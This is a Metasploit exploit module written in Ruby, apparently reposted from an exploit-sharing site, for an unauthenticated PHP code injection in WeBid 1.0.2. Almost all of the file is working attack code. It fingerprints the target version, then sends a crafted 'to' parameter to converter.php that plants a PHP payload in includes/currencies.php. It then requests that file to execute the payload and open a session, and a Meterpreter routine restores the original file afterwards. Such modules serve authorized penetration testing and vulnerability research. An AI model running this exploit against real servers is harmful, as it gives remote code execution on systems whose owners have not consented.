WeBid converter.php Remote PHP Code Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WeBid converter.php Remote PHP Code Injection',
      'Description'    => %q{
          This module exploits a vulnerability found in WeBid version 1.0.2.
        By abusing the converter.php file, a malicious user can inject PHP code
        in the includes/currencies.php script without any authentication, which
        results in arbitrary code execution.
      },
      'Author'         => [
        'EgiX', # Vulnerability Discovery, PoC
        'juan vazquez' # Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '73609' ],
          [ 'EDB', '17487' ]
        ],
      'Version'        => '$Revision: $',
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
        },
      'DisclosureDate' => 'Jul 05 2011',
      'Targets'        =>
        [
          [ 'WeBid 1.0.2 / Ubuntu', {} ]
        ],
      'DefaultTarget' => 0
      ))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
        ], self.class
      )

  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "docs/changes.txt"
    })

    if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
      return Exploit::CheckCode::Appears
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "converter.php"
    })

    if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe

  end

  def on_new_session(client)

    if client.type != "meterpreter"
      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
      print_error("The currencies.php won't be restored automatically.")
      return
    end

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    # Original currencies.php file
    currencies_php = <<-eof
      <?php
      $conversionarray[] = '1265375103';
      $conversionarray[] = array(
        array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
      );
      ?>
    eof
    currencies_php = currencies_php.gsub(/^\t\t\t/, '')

    pwd = client.fs.dir.pwd
    print_status("Searching currencies.php file from #{pwd}")

    res = client.fs.file.search(nil, "currencies.php", true, -1)
    res.each do |hit|
      filename = "#{hit['path']}/#{hit['name']}"
      print_status("Restoring #{filename}")
      client.fs.file.rm(filename)
      fd = client.fs.file.new(filename, "wb")
      fd.write(currencies_php)
      fd.close
    end

    print_status("Cleanup finished")

  end

  def exploit

    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    peer = "#{rhost}:#{rport}"

    stub = "\0'));#{payload.encoded}?>"

    print_status("#{peer} - Injecting the PHP payload")

    response = send_request_cgi({
      'uri' => uri + "converter.php",
      'method' => "POST",
      'vars_post' => {
        "action" => "convert",
        "from" => "USD",
        "to" => stub
      }
    })

    if response and response.code != 200
      print_error("Server returned non-200 status code (#{response.code})")
      return
    end

    print_status("#{peer} - Executing the PHP payload")

    timeout = 0.01
    response = send_request_cgi({
        'uri' => uri + "includes/currencies.php",
        'method' => "GET",
        'headers' => {
            'Connection' => "close",
          }
        }, timeout)

    if response and response.code != 200
      print_error("Server returned non-200 status code (#{response.code})")
    end

    handler
  end
end



#  0day.today [2018-03-20]  #